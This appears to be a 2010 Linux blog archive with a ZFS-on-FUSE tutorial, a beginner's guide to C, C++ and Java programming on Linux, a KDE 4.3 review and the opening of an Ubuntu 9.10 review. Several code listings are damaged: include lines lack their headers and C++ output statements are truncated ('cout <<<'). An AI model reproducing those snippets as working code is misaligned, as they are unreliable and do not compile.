2010-05-24T11:21:00.000-07:00

Tried ZFS on Linux?

ZFS is a revolutionary filesystem from Solaris with features miles ahead of ext3, the most-used filesystem under Linux. However, licence incompatibility makes it impossible to merge this open source filesystem to Linux. This article tells us how to use ZFS on FUSE, a tool that enables you to run ZFS on Linux—legally.

Jeff Bonwick, the leader of the team at Sun Microsystems that developed ZFS, called it “…the last word in filesystems.” It is indeed worthy of the praise considering its advanced yet easily maintainable features. ZFS, a pseudo-acronym for what was earlier called Zettabyte Filesystem, is a 128-bit filesystem, as opposed to the presently available 64-bits filesystems like ext4 and others. Some of its excellent features include:

Simplified administration: ZFS has a well-planned hierarchical structure with the uberblock (parent of all blocks) and disk label at the top, followed by pool-wide metadata, the filesystem’s metadata, directories and files. The uberblock checksum is used as the digital signature for the entire filesystem. Besides property inheritance (utilising the hierarchical structure), ZFS provides auto management of mounting, sharing, compressions, ACLs, quotas and reservations, etc, making administration easier and more effective. The filesystems in ZFS can be compared to directories in ordinary filesystems like ext3, and most administration tasks are done using just two commands—zfs and zpool.
Pooled storage: ZFS has revolutionised the filesystem implementation and its management with the introduction of storage pools. Concepts like datasets (a generic term for volumes, filesystems, snapshots and clones) and pools (a large storage area available for the datasets) make filesystem handling easier for the administrator. Like the virtual memory model for a process, the filesystem can grow its usage space as required without any pre-determined space limits unless provided as ‘quotas’ within the pool model. ‘Quotas’ can be set, changed or removed at will. Also, a minimum ‘reservation’ space for each filesystem can be specified. One important aspect of the storage pool is the removal of volume management architecture, thus reducing a lot of complexity for the administrator.
Transactional paradigm: ZFS being a transactional filesystem is guaranteed to be consistent according to its developers. Data management in ZFS uses copy on write semantics, which ensure that data is never overwritten, always maintaining an old reference to the data. A sequence of filesystem operations is either committed or ignored as a whole, thereby preventing any corruption to the filesystem due to power shortage or some other outage. This, in effect, removes the need for the fsck tool, the traditional filesystem check and repair tool.
Scrubbing and self-healing: Since data and even metadata is checksummed, data scrubbing (an operation that checks data integrity within a filesystem or, in other words, data validation) is performed easily within ZFS. Checksum algorithms can be any user-selected algorithm from SHA-256 to fletcher2, producing 256-bit long checksums. Besides checking for data integrity and preventing silent corruption, ZFS also provides mechanisms for self healing, mainly through RAID-Z and mirroring. Two RAID-Z variations, single and double-parity, are in fact slight variations of RAID-5 and RAID-6, respectively. The variations mainly aim to eliminate the write hole, solidifying data integrity. Besides, techniques like resilvering or resyncing help in replacing a corrupted or faulty device with a new one.
Scalability: The team behind ZFS made the decision to go for a 128-bit filesystem, even though 64-bit filesystems like ext4 have come up only recently. Its data limit is an enormous 256 quadrillion zettabytes of storage which, is almost an impossible limit to reach in the near future since fully populating a 128-bit storage pool would, literally, require more energy than boiling the oceans, as Bonwick pointed out. Directories can have up to 248 (256 trillion) entries. No limit exists on the number of filesystems or number of files that can be contained within a filesystem.
Snapshots and clones: Snapshot is a read-only copy of a filesystem or volume at any particular point of time. Its design is such that space is consumed only when data is changed, preventing any freeing of data from the filesystem unless explicitly asked, giving further options for maintaining data integrity. Clone is a writable filesystem generated from a snapshot. The creation of snapshots and clones in ZFS is very simple and is always pointed out as one of its big advantages.

ZFS and Linux

ZFS is the standard filesystem for Solaris/OpenSolaris OS whose source code is published under CDDL (Common Development and Distribution License). However, from the beginning (and hopefully forever) the Linux kernel has remained licensed under the GPLv2, which prevents any other code to be linked with the GPL’d Linux kernel unless that code’s licence is GPL v2 compatible. So the open sourced code of ZFS cannot be added/linked to the kernel code like any other filesystem, either as a part of the kernel or as kernel modules. As a workaround, some solutions pointed out by the open source community are:

A ‘court ruling’ (either in the US or EU, where ZFS is mainly used) stating that GPL and CDDL are compatible.
Either of the parties (Linux and Solaris) need to change the licence of their code to a mutually compatible one.
A GPL’d ZFS reimplementation from scratch, which should be free from all the 56 patents that Sun has taken on ZFS code.
A method by which we would be able to implement ZFS to be usable for Linux, which is only possible through dynamic linking between the codes—this is allowed.

The possibility of Options 1 and 2 are remote, compelling us to choose between Options 3 or 4. As a solution like that suggested in Option 3, a project named BTRFS, guided by Chris Mason at Oracle is under development, having been merged to a “rc” pre-release of the current Linux kernel (2.6.30), and is under testing. Definitely, this is going to take a long time as ZFS itself was under development for five years. Solution 4, which is through a utility called FUSE and seems the most stable option as of now, is what I am going to discuss as we go on.

FUSE

Filesystem in USErspace, or FUSE, helps implement a fully-functional filesystem in a userspace program rather than directly in the kernel. It is implemented in OSs like Linux, FreeBSD, etc. Its components (as of version 2.7.4) consist of a FUSE kernel module, a FUSE library containing libfuse and libulockmgr, and a special file descriptor like a device file in Linux named /dev/fuse, used for communication between the kernel module and the userspace library. For user convenience, a program named ‘fusermount’ is provided along with the FUSE package as an easy usermode tool to link up between the user-defined filesystem and the FUSE module.

ZFS on FUSE

ZFS on FUSE is a project under development by Ricardo Manuel da Silva Correia, a computer engineering student, and is sponsored by Google as part of Google Summer of Code 2006. So after completion of this project, ZFS will have a port on the FUSE framework, which effectively will mean operating systems like Linux can use ZFS.

How it works

The zfs-fuse daemon acts like a server, managing ZFS on the system through the FUSE framework. Every filesystem operation on the mounted ZFS devices from any application will be through the standard C library system calls. This results in calling the kernel’s appropriate function from the virtual filesystem (VFS) interface, which will then be hooked to the FUSE module and, in turn, acts like a filesystem module through a special purpose device named /dev/fuse. This device acts as a bridge between the ZFS implementation and fuse module. The fuse module communicates with the ZFS filesystem implementation (which in this case is zfs-fuse), through the FUSE library libfuse which has functions similar to that of VFS’s interface. The user program returns results for the filesystem request in the required format through the FUSE framework to the application.

Getting started

It is available in two forms, as a release version packed as a bzip file or directly in source form from the Mercurial repository. Installing from the source requires that we use scons instead of make, though the command and options are almost the same for both. It’s better you read the README and INSTALL files in the source directory before proceeding. Besides, for certain distributions like Gentoo, Debian, Fedora, Ubuntu, etc, zfs-fuse is available via the regular package management system making the installation much easier. Please use your package manager and search for “zfs”.

Installation on Fedora 10

As I was using Fedora 10 while testing ZFS, my commands and configuration files are more specific to Fedora, though with minor variations the same should apply to most distros.
First install the zfs-fuse package using the command [all commands from here on should be executed as the root user, unless otherwise mentioned]:

yum install zfs-fuse

This installed zfs-fuse version 0.5 on my system that has Fedora 10.

Setting up ZFS

Before executing any commands, it should be verified that zfs-fuse daemon is running.

pgrep zfs-fuse

If it’s not, issue the following code:

service zfs-fuse start

…or directly run the script file as follows:

/etc/init.d/zfs-fuse start

Managing ZFS

After making sure that the zfs-fuse daemon is running, we need to have a ZFS pool comprising of one or more devices. We will create a pool, say ‘K7’, representing a group with many users, each having their own filesystems on ‘K7’. A user, say ‘ajc’, will have his own filesystem, which will be mounted under ‘K7’ with the same user name along with the required properties.
zpool create K7 sda10 This will create a pool named ‘K7’ using the /dev/sda10 device. You can also give the full path as /dev/sda10 instead of just sda10. However, it’s not required since zfs-fuse will search for any device by default in this directory. If the -n option is specified after create, then no pool will be created. This will cause just a dry-run, which ends up showing the layout of ZFS after the execution of that command. By issuing the above command, we not only created a pool but also implicitly created a dataset (more specifically, a filesystem) too, which will be mounted by default at location ‘/K7’. It is important to avoid any pool name whose name clashes with directories under / [root directory]. However, if you want to explicitly specify the mount point, say at /mnt/k7 or elsewhere, then execute the following:
zpool create -m /mnt/k7 K7 sda10 …or if pool ‘K7’ already exists:
zfs set mountpoint=/mnt/k7 K7 However, after this, K7 won’t be mounted anywhere. So we need to issue either auto mount on all filesystems by issuing the following command:
zfs mount -a …or any specific filesystem as:
zfs mount K7 For unmounting we use the unmount option instead of mount in the above commands.
Also, at any point in time, if you want to list all the pools in your system, execute the command given below:
zpool list The health status of the pool can be checked with the following:
zpool status This command can take the optional arguments -x and -v for a quick overview and verbose status, respectively.
Since we have created a pool named ‘K7’ along with a filesystem with the same name and mounted it at /mnt/k7, to properly harvest the pool we may need more filesystems suitably named in the pool ‘K7’. This can be achieved by using the dataset specific command zfs rather than the pool command zpool.
For example:
zfs create K7/ajc …will create a filesystem mounted at a sub-directory ‘ajc’ in a directory where K7 is mounted, which in our case will be /mnt/k7/ajc. Similar to specifying mounting options for pools as mentioned above, filesystems also have options like:
zfs create -o mountpoint=/mnt/k7/ajc K7/ajc Or if you want to change the mount point of an already created filesystem, use:
zfs set mountpoint=/mnt/k7/ajc K7/ajc It is quite possible that after some time the space you allocated for the pool may run out. Using the in-built compression can be a temporary, yet ready-made solution for such a situation.
zfs set compression=on K7/ajc Another way to tackle this is to add devices to the pool with the required device space, which will be added to the space already available.
zpool add K7 sda11 Also, as a counter operation to add, we also have remove to remove any added devices from the pool but with the restriction that removal can be performed only on hot spare (that is, inactive devices made active when the system is degraded) devices.
Like mountpoint and compression, many other properties of a filesystem like ‘quota’, ‘reservation’, etc, can also be set as:
zfs set quota=3G K7/ajc zfs set reservation=1G K7/ajc Properties of a filesystem can be viewed using get as follows:
zfs get quota K7/ajc And to see all properties, issue the following command:
zfs get all K7/ajc As mentioned earlier, ZFS gives a lot of importance to data validation, which is also called scrubbing, and this can be performed on any of the filesystems using the command scrub:
zpool scrub K7 If at any point you want to see all the commands you issued on pools, use:
zpool history Or for a particular pool like K7, issue the following:
zpool history K7 Likewise, use iostat to get a count of I/O operations on pools.
Now, for creating a snapshot of any filesystem, we can issue:
zfs snapshot K7@snap1 The snapshot of a filesystem is represented by its name followed by ‘@’ and then the snapshot name. Use the -r option to create snapshots recursively on all filesystems under the specified filesytem, as in what’s shown below:
zfs snapshot -r K7@snap2 Now, after a lot of changes to the filesystem, if you want to go back to a snapshot of the filesystem, issue the rollback command. The -r switch is required, as we have to remove the newer snapshot ‘snap2’ to roll back to ‘snap1’.
zfs rollback -r K7@snap1 Or if the snapshot you are rolling back is the newest of all the snapshots of the filesystem, then use the following:
zfs rollback K7@snap2 As in the listing of pools, datasets (which include fileystems and snapshots) can be displayed using the command given below:
zfs list The snapshot created can be easily transferred between pools or even between systems using the commands send and recv. The following command will create a new filesystem ‘K7_snap’ under ‘K7’ from the snapshot ‘snap1’:
zfs send K7@snap1 | zfs recv K7/K7_snap The following command is the same as the one above, but the new filesystem and snapshot will be in a remote system ‘sreejith’:
zfs send K7@snap1 | ssh root@sreejith zfs recv K7/K7_snap As we know, ZFS is the native filesystem of Solaris and if we want to migrate any pool storage in Solaris to some other OS like Linux, then we’ll have to first export the pool from Solaris or whatever OS in which it was being used, and then import it to the required OS.
zpool export K7 In order to forcefully export ‘K7’, we can use the -f switch with the above command.
The following command will display all importable pools with their name and ID:
zpool import …and we can import it using the name (or even the ID), issuing the command below:
zpool import K7 And finally, the destroy command is used to destroy a pool or a filesystem. The following destroys the ‘ajc’ filesystem in ‘K7’:
zfs destroy K7/ajc …while the next command destroys the K7 pool altogether:
zpool destroy K7 Though ZFS on FUSE manages to implement a lot of the features of native ZFS, it is still not complete, as has been pointed out in the status of the project. Since the implementation is in userspace, which has to be linked to the Linux kernel through the FUSE module, the performance and scalability is not at par with the kernel module implementation of other filesystems as of version 0.5. Even then, the project is a nice way to get acquainted with the revolutionary ZFS in operating systems like Linux. However, it is expected that a properly tuned ZFS on FUSE may have a comparable performance to the native filesystems as in the case of NTFS-3G, a freely and commercially available and supported fast handling read/write NTFS driver for Linux, FreeBSD, MacOS, etc.

2010-05-24T11:17:00.000-07:00

Write Your Next Program on Linux

Through this article, I want to ask people to start programming on the GNU/Linux operating system (from here on, referred to as just ‘Linux’). Students who are just getting started in programming; educators who teach or have a role in teaching programming to new students; hobbyists who program on Windows—I’m asking all of you to please read on and give Linux a real good try for at least a week. If you agree that programming on Linux is indeed a better experience than your previous platform, then stay with it, and enjoy the freedom that the rest of us do!

Just to clear any misunderstandings, I am not aiming to get you to write code for the Linux kernel itself (though that could well follow as your comfort and programming proficiency grow). Instead, I’m talking about writing user-space programs— including the exercises, homework, and project work that most computer-science study courses include. Before we start, here’s a disclaimer: this article contains strong personal opinions and beliefs; I do not in any way intend to be offensive, but some of these ideas just might be worth a try—by you—to see if you feel the same way!

Attacking the mindset

It’s commonly believed that Linux is ‘tough’. Sure, it’s different from what people who’re used to Windows are accustomed to—but it’s not tough. Once you adjust to the differences, you’ll probably laugh at this misconception yourself, and tell others how wrong their perception is!
Just consider the many computer science students who’ve been inspired by the buzz that Linux has been creating over a long time now. They have resolutely set about learning how to use it on their own initiative—asking questions on mailing lists, forums and over IRC chat. Within a couple of weeks, they are ready to do more than just get around. Often, within a month, they’re so much at home with Linux that they begin introducing others to the OS. Astounding? It may seem so—but it’s just that those students were determined to explore and learn, and ignored the cries of, “It’s tough.”
There is always a learning curve involved whenever one is acquiring a new skill, and Linux is no exception. If students are taught to use and program on Linux, they will not just learn, but will also find it simple. It would just seem natural to them—learning something that they did not know earlier. ‘Linux is tough’ is a modern-day myth that has to be busted. If you are an educator, please do your bit. You are the one that students look up to, and if you show them the right way, they will follow your example.

Getting Linux up and running

Okay, once you have decided to use Linux, how do you go about it? You may have heard of lots of different Linux ‘operating systems’ (also called distributions): Ubuntu Linux, Fedora Linux, Debian GNU/Linux and more. Why so many ‘Linuxes’? Let me explain. Technically, ‘Linux’ is the name of a kernel (read http://en.wikipedia.org/wiki/Linux_kernel for more information; see http://www.kernel.org, which is the official home of the kernel). Since a kernel is of little use on its own, user-space tools from the GNU project (including the most common implementation of the C library, a popular shell, and many common UNIX tools that carry out many basic operating system tasks) were combined with the Linux kernel to make a usable operating system. The graphical user interface (or GUI) used by most Linux systems is built on top of an implementation of the X Window System. Different free software projects and vendors build different combinations of packages and features, to provide varying Linux experiences to different target audiences—thus resulting in myriad Linux distributions.
So which Linux distribution should you use? Ubuntu Linux (http://www.ubuntu.com) and Fedora Linux (http://www.fedoraproject.org) both have individually made the Linux experience very user-friendly for casual users of the computer—for Internet surfing, e-mail and document processing needs. Either of these is ideal for you to get started with. Linux installation can be somewhat tricky, though, especially if you intend to set up a dual-boot system where you can boot either Linux or your old Windows. Otherwise, it’s quite simple: download the CD (ISO) image, burn it to a CD-R or RW, boot your computer from it, and let it install! The best way to do a dual-boot set-up the first time is to get hold of someone in your school, locality or office who knows about it, and ask them to guide you. Also, there are other options if you want to try Linux either without installing it, without replacing Windows or doing a dual-boot set-up. See the Dealing with practicalities section towards the end of this article, for some of these ideas.
The Ultimate Linux Newbie Guide (http://www.linuxnewbieguide.org/) is a good reference to help you learn things yourself. With Linux, an experimental approach to learning helps a lot. So, back up your data, and get started with those install discs if you can’t find anyone to help you out. These days, most Linux distributions come with just the essential applications and libraries installed—which probably won’t be sufficient for programming needs. To enable easy installation of new software, most distributions have a package manager (in the Linux world, software is distributed in the form of ‘packages’), which you use to easily download and install new software from the Internet. The Linux Newbie Guide mentioned earlier is a good reference for this topic. So that this article will be of maximum utility, I will try to be more general, and avoid favouring any particular distribution.

Choosing a text editor

We won’t be using an Integrated Development Environment (IDE), at least, initially. We will just do it the simple way: write code using a text editor, save it, and compile/interpret it using an appropriate compiler/interpreter. In the Linux world, you have a plethora of text editors to choose from. One of the editors, such as gedit or kwrite, will definitely be installedwhen you install Linux—you can use either. If you install a distribution like Ubuntu, which has the GNOME desktop
environment, then you will have gedit already installed. It’s just like Notepad, only more useful and feature-rich.

C/C++ programming on Linux

C is usually the first language taught to many students in Indian engineering schools and colleges, so let’s first look at how we program in C on Linux. Note that the C code that you will write on Linux will be the same that you would write on Windows/DOS, as long as you are writing ANSI C code. Some library functions, such as those provided by conio.h and graphics.h, are not part of the ANSI standard. Hence, you won’t be able to use them on Linux. The C compiler you use on Linux is GCC. It is part of the GNU Compiler Collection (http://en.wikipedia.org/wiki/GNU_Compiler_Collection).

Open a terminal and run the command gcc:

$ gcc
gcc: no input files

If you see something like the above output, gcc is already installed. If you see something like “Command not found”, then you will have to install gcc using the package manager. Besides a compiler, you will also need the C standard library, called glibc, to compile your C programs correctly. Type in locate glibc and check the output. If it shows directory structures of the form ‘/foo/bar/glibc’ or the like, then you have glibc installed; else you need to install it.
Okay, now that we have confirmed the presence of a text editor, a compiler and the standard library, let us write our first code in C on Linux. For the purpose of this article, let’s create a sub-directory called ‘codes’ under the home directory, in which we will store all our source code.
Start up gedit and input this simple C code to print the factorial of a number:

#include
int main(int argc, char **argv)
{
int n, i,fact=1;
printf("Enter a number for which you want to find the factorial:: ");
scanf("%d", &n);
for(i=1;i<=n;i++)
fact=fact*i;
printf("Factorial of %d is :: %d\n", n,fact);
return 0;
}

Save this code in the codes sub-directory with the name ‘fact.c’ and use cd codes to go to this directory in your terminal. Once you are there, issue the following command:

$ gcc factorial.c

After executing the command, run ls and you will see an ‘a.out’ file in the current directory. This is the executable file of your C program, compiled and linked with the appropriate libraries. To execute it, run (note the leading ./, which is essential!):

$ ./a.out

Enter a number for which you want to find the factorial:: 5
Factorial of 5 is :: 120

Congratulations, you have just written your first C program on Linux! That was just the normal C that you write on DOS or Windows—no surprises there! A bit more about this a.out file: This is the Linux equivalent of the .exe file that you would see under DOS/Windows; it is the executable form of your code. As you might have already guessed, this file cannot be executed on DOS or Windows, since it is in a different format. Now,
instead of having to rename your executable file each time you compile, you can specify the output file name to the compiler:

$ gcc -o factorial factorial.c

Try a few more programs from your C programming and data structures classes. ‘The C Programming Language’ is a well-known programming book by Brian Kernighan and Dennis Ritchie, which teaches you C programming with a strong Linux flavour. It would be a good idea to try the
examples and exercise programs from this book to get a flavour of C programming on Linux. Let’s now write our first C++ program on Linux. The cycle of coding, compilation and execution is very similar to that for C, except for the compiler we use, which is g++. Check if it’s already installed by running the command in a terminal, like we did for gcc. Next, use your package manager to check if libstdc++, the standard C++ library, is installed (if not, install it). Once both are installed, open up gedit and type this simple C++ program:

#include
#include
using namespace std;
int main(int argc, char **argv)
{
string s1="Hello";
string s2="World";
cout <<< "\n";
return 0;
}

Save this file as string-demo.cxx in the codes subdirectory.
Compile and execute the file:

$ g++ -o string-demo string-demo.cxx
$ ./string-demo
Hello World

The C++ code you see is standard C++, with the ‘.h’ omitted from the header files. C++ source files conventionally use one of the suffixes ‘.C’, ‘.cc’, ‘.cpp’, ‘.c++’, ‘.cp’, or ‘.cxx’.

Let us now write a simple C++ program that uses classes:

#include
using namespace std;
class Circle{

float r;
public:
void init(float x) /* Inline function */
{
r = x;
}
float area();
};
float Circle::area()
{
return 3.14*r*r;
}
int main(int argc, char **argv)
{
float radius;
Circle circle;
cout << "Enter the radius of the circle:: ";
cin >> radius;
circle.init(radius);
cout << "Area of the Circle:: "<<<"\n";
return 0;
}

Save the file in the codes sub-directory as class-demo.cxx.
Compile and execute it:

$ g++ -o class-demo class-demo.cxx
$ ./class-demo

Enter the radius of the circle:: 4
Area of the Circle:: 50.24
Assuming that you have been able to compile these programs successfully, I would now recommend you go ahead and write, compile and test some of your C/C++ assignments and problems using gcc and g++. If you face any issues, you are most welcome to e-mail me personally.
Java programming on Linux Java is perhaps the next most widely taught language in Indian schools and colleges after C/C++. The best part of Java programming on Linux is that you use the same tools that you would use on Windows—yes, the Sun Java Development Kit.
To install the JDK on Linux, download the installer for Linux from http://java.sun.com/javase/downloads/widget/jdk6.jsp.

Choose the .bin file, and not the *rpm.bin file, unless you know what you are doing. (The .bin file is the equivalent of .exe on Windows). Once the download is complete, in your terminal, cd to the directory where the file has been downloaded, and use the following commands:

$ chmod +x jdk-6u18-linux-i586.bin

$ ./jdk-6u18-linux-i586.bin

The file names above might differ depending on the JDK version that you have downloaded. The first line makes the installer executable, and the second line executes it. The installer should start now, and you should see the ‘Sun Microsystems, Inc. Binary Code License Agreement’.
Accept the licence, and the extraction of the JDK should start. Once the installer has exited, you should see a new sub-directory
named ‘jdk1.6.0_18’ inside the current directory. If you are familiar with Java programming on Windows, this should be easily recognisable. Inside this directory is the bin sub-directory, which has the Java compiler (javac), Java interpreter (java), and others. With this, we are all set; let’s write our first Java program on Linux. Fire up gedit and write the following Java code, which shows the usage of an array of integers:

import java.util.Random;
class ArrayDemo {
public static void main(String[] args) {
int[] arr = new int[10];
for(int i=0;i<10;i++)
arr[i] = (new Random()).nextInt();
for(int i=0;i<10;i++)
System.out.println("Element at index " + i + "is::" + arr[i]);
}
}

Save the code to a file ‘ArrayDemo.java’, then compile
and run it as follows:

$ /home/amit/jdk1.6.0_18/bin/javac ArrayDemo.java
$ /home/amit/jdk1.6.0_18/bin/java ArrayDemo
Element at index 0is:: 480763582
Element at index 1is:: -1644219394
Element at index 2is:: -67518401
Element at index 3is:: 619258385
Element at index 4is:: 810878662
Element at index 5is:: 1055578962
Element at index 6is:: 1754667714
Element at index 7is:: 503295725
Element at index 8is:: 1129666934
Element at index 9is:: 1084281888

Note the first two commands, where I have given the full path to the location of the javac and java executables. Depending on where you have extracted the JDK, your path will vary. This is how you can compile, run, test and debug your Java programs.

OpenJDK

An article about Java programming in an open source magazine would be incomplete without talking about OpenJDK (http://openjdk.java.net/). It’s good for you to be aware of this project. As you might have already guessed, it is a GPL-licensed open source implementation of the Java
Standard Edition—i.e., the source code of the JDK that you are so familiar with, is also now available for your scrutiny, in case you don’t like something in the current JDK.

So, is this a different Java? No—you write the same Java code. You can install OpenJDK from your Linux distribution’s package manager (it may come pre-installed with some distributions). See http://openjdk.java.net/install/for installation instructions.
Dealing with practicalities Due to various reasons, deploying Linux lab-wide may not always be possible. In such cases, it’s a good idea to have a single Linux machine in the lab, acting as an SSH server; you can install the necessary SSH client software on other operating systems, which will enable connecting to the Linux machine remotely. This machine should be of a relatively good configuration, depending on how many students will be using it for their coding and compilation—a dual- or quad-core CPU with 4 GB of RAM and a hard disk of at least 320 GB is a good idea.
For Windows, Putty (http://chiark.greenend.org.uk/~sgtatham/putty/download.html) is a widely used SSH client.
If writing the code on Windows and copying it to the Linux machine to compile and run, you will also need to download the pscp program from the site, which lets you copy files from the local machine to the Linux SSH server.
If you need a GUI session from the Linux server to be accessible on the Windows machine (for example, while doing GUI programming) then investigate the OpenNX server (to be installed on the Linux server machine) and the NoMachine NX client for Windows. A machine with the configuration given above should support around 10 user sessions before it starts slowing down. Fine-tuning the desktop manager (use a light one like LXDE or XFCE) and using lighter editors like GVim for writing code, is a good start. Another option (which does not need a dedicated Linux server machine) is to install Linux in a virtual machine on your desktop. This could also prove useful on a home computer. VirtualBox (http://www.virtualbox.org/wiki/Downloads) is virtualisation software that, when installed on your Windows system, will allow you to create a virtual machine, inside which you can install Linux without disrupting your Windows installation.
You will, of course, need some free disk space (8 GB or more) for the virtual machine’s disk file. You don’t need to burn the Linux installation ISO onto a CD in this case—you can simply instruct VirtualBox to use the ISO image file as a disc inserted in the CD-ROM drive of the virtual machine.
This is also a good way to practice installing Linux, and to see how easy it can be. For Ubuntu, in particular, there is Wubi (http://wubiinstaller.org/) which lets you install (and uninstall) Ubuntu like any other Windows application, in a simple and safe way, ‘with a single click’. The Ubuntu files are stored in a single folder in your Windows drive, and an option to boot Ubuntu is added to your Windows boot-loader menu. However, hard-disk access is slightly slower than installation to a dedicated partition.
If your Windows drive is very fragmented, the performance will degenerate further. Hibernation is not supported under Wubi. Moreover, the Wubi filesystem is more vulnerable to hard reboots (turning off the power) and power failures than a normal installation to a dedicated partition, which provides a more robust filesystem that can better tolerate such events.
In general, programming on Linux will also require a decent level of familiarity regarding working with shell commands. Get familiar with working with the shell. Try to minimise the use of the mouse :-)

Using your favourite IDE on Linux

If you have been using any IDEs for your development
needs, it should be great news that two very popular IDEs—NetBeans and Eclipse—have Linux versions as well, and both of them support C, C++ and Java development. For GNOMEbased Linux distributions, Anjuta DevStudio (http://projects.gnome.org/anjuta/features.html) is another powerful IDE for C, C++ and Java (and other languages too). All three should be available in your distribution’s package manager.
To conclude this article, I would like to urge you to make an honest effort to embrace Linux for programming. It’s a much better world to be in. I would love to address any queries/concerns/comments/suggestions that you may have,regarding this article.

Resources

Download Ubuntu: http://www.ubuntu.com/GetUbuntu/

download

Download Fedora: http://fedoraproject.org/en/get-fedora

‘graphics.h’ like functionality using ‘gcc’: http://zaher14.

blogspot.com/2007/01/graphicsh-in-linux.html

GNU Compiler Collection: http://gcc.gnu.org/

Brian W. Kernighan and Dennis M. Ritchie, “The C

Programming Language”

Bjarne Stroustrup, “The C++ Programming Language”

Neil Matthew, Richard Stones, “Beginning Linux

Programming”

StackOverflow.com is a community forum where you can

post your programming-related questions. It’s languageneutral,
which makes it very attractive.

A basic introduction to SSH: http://polydistortion.net/doc/

ssh.html

VirtualBox: www.virtualbox.org, User Manual: www.

virtualbox.org/manual/UserManual.html

www.yolinux.com is a good resource for general Linux

information.

2010-05-23T10:32:00.000-07:00

KDE 4.3: It’s the Desktop You Need, Almost

What do you think of when you read something like this: “Fixed over 10,000 bugs and implemented almost 2,000 feature requests in the last 6 months; close to 63,000 changes were checked in by a little under 700 contributors…”? Now, that’s what I call developers being really busy working on something solid.

Guess it’s time to start our journey with KDE 4.3.
The first thing you notice in this version is the brand new theme called Air. This replaces the default and darker Oxygen that’s been around since the inception of the KDE4 desktop. Air, by contrast, is a transparent white theme with nice stripes and spirals, which make it look quite appealing. Mind you, Oxygen is still available, besides various other themes that can be downloaded from KDE-Look.org by accessing the New Theme button from the Desktop Settings tool (you get it up by right clicking on an empty space on your desktop).
While we’re on the subject of Desktop Settings—this tool has also received some attention. First, you have another type of activity setting—apart from Folder View (the traditional desktop with icons), and Desktop (the default desktop containment introduced in KDE 4.1)—dubbed‘Plain Desktop’. It is basically a desktop without the toolbox you get on the top right corner to zoom-out of an activity and create new ones. Apparently, more activity types have been introduced, one of which can enable you to use your desktop screen as a whiteboard of sorts. However, I couldn’t figure out a way to install these. [Let us know if you can.]
Another nice add-on under Desktop Settings is the additional wallpaper types—Virus, Mandelbrot, Weather and Globe, besides the slide show and patterns, which have been available for a while (Figure 1). Among these, I quite like the Globe add-on, which uses the Marble program to render an interactive glove as your desktop background.

Figure 1: Wallpaper Types under Desktop Settings

Another pleasant surprise is that now you can have different activities for different workspaces. If you are the type who uses a lot of widgets, and finds it difficult to fit all of these into one screen, in earlier versions you probably needed to switch between activities to set some other widgets that wouldn’t fit into your primary activity. However, let’s face it, switching between activities is not the easiest of jobs. With version 4.3, you can configure each workspace as a separate activity and thus have different widgets, wallpapers, etc, on different workspaces (see Figure 2)—and thankfully, switching between workspaces is much easier.

Figure 2: Different 'Activities' for different wordkspaces

However, the best feature among the 50-odd widgets that come with KDE 4.3, is the new enhancement added to the Folder View widget, which prompted me to switch to my home directory as my default location from the ~/Desktop folder I have been using for a year. Now, hovering over a folder in Folder View lets me peak into the folder’s contents, thanks to an overlay effect (Figure 3). With this sort of feature now available, you don’t have to launch Dolphin to locate or access your files—just navigate the filesystem and access files straight from your desktop with a single (double) click.

Figure 3: Peeking into the Folder View

To think about it, I must mention the inclusion of two widgets, the first of which is openDesktop. If you set the latitude and longitude on which you are located, this widget has the ability to show you other users who are nearby. However, for this to work, you need an account with opendesktop.org; besides, there’s not much you can do with the widget. It definitely shows some promise, and I won’t be surprised if it becomes a major contestant soon among the various social networking tools.
The second widget seems handy for those who like to plan their days with different tasks, et al. It’s called Remember the Milk, and its purpose is to keep you in sync with the RTM online service. Again, you need an online account to be able to use it. Besides these two, the Microblogging widget now has Identi.ca support, apart from Twitter.
The system notifications have acquired some polish. Building on top of the notification system that was introduced in version 4.2, it now has a dedicated icon on the system tray. Running tasks now slide into this notification icon and are grouped together, not taking up too much of screen space. An animating icon signifies that jobs are still running. However, the ‘More’ and ‘Less’ buttons for notifications (for example, in the copy dialog), still need a lot of attention.

Figure 4: New notifications system

Coming to the various application enhancements, KRunner continues to improve. It now displays the search results as a list instead of as icons—the layout now gives it more room to display the application descriptions below their names. The option to run the apps as a different user is also back, which was available in the KDE3 series, but went missing in KDE4. Also, the addition of the help button (the ? icon) gives the user an idea of the different syntaxes that we can use. Earlier, it more or less depended on guesswork.

Figure 5: Redesigned KRunner layout

The Dolphin file manager now shows a slideshow of the images that are inside when you hover over a folder when using the file ‘Preview’ mode. A feature to play (preview) media files in the ‘Information’ pane has also been added.

Figure 6: Image preview in Dolphin file manager

The optional tree-view is back in System Settings, reminiscent of KControl from KDE3, for those who need it. A major bug fix, I’d say, is the ability to configure items that require root-level changes (like, for example, KDM) from within System Settings. Any option that required root privileges used to be greyed out earlier—now it prompts for a root password instead. Also, PolicyKit has been integrated into the desktop and a module is made available here. With this you can fine-tune certain privileges. Like, for example, Dolphin usually lists all available partitions in the side pane, whether an entry has been set in the /etc/fstab file or not. However, in previous KDE versions, trying to access such a partition would result in a Not permitted error message. Now if you set the settings correctly in the PolicyKit module, you can give a normal user the privilege to mount these partitions.

Figure 7: System Settings using the Classic Tree View layout (see LHS pane); fine tuning PolicyKit settings (right)

All these are small add-ons, which makes 4.3 more of an incremental update rather than a major overhaul like its predecessors. There are, of course, numerous other enhancements; I’ve only listed the ones that drew my attention.
The most impressive factor is the overall stability of the applications and Plasma, and thereby the stability of the desktop as a whole. However good KDE4 has been till date, it’s always been a tad unstable compared to its predecessor or alternative desktop environments. Having used 4.3 since the RC1 release, I’ve hardly faced crashes. And when it does crash, the crash report tool has a button to restart whatever has crashed—provided it’s a KDE app.
The news is that work had already started on version 4.4 much before 4.3 was released; so expect many new additions in the version that comes out next January.

2010-05-23T10:29:00.000-07:00

Ubuntu 9.10 Unleashed, Amid Windows 7 & Snow Leopard

It’s again that time of the year when a new version of Ubuntu is released. And like clockwork precision, the latest version of Ubuntu 9.10 “Karmic Koala” is out. This is the 11th release of Ubuntu and the maturity of the project and distribution is clearly visible. I have been using Ubuntu for the past 5 releases and I can definitely say that this release brings in the most number of changes. In this article, we will take the new version for a test drive and look at how successful they have been in implementing their plans.

I did this review on a somewhat old system, a Pentium 4 processor along with 1.5 GB RAM and a Nvidia GeForce 6200 graphics card. The reason was to see whether Ubuntu was still good enough on a machine with moderate specifications. This is really important, given the low specifications of netbooks, which are really important targets for Linux.

Installation

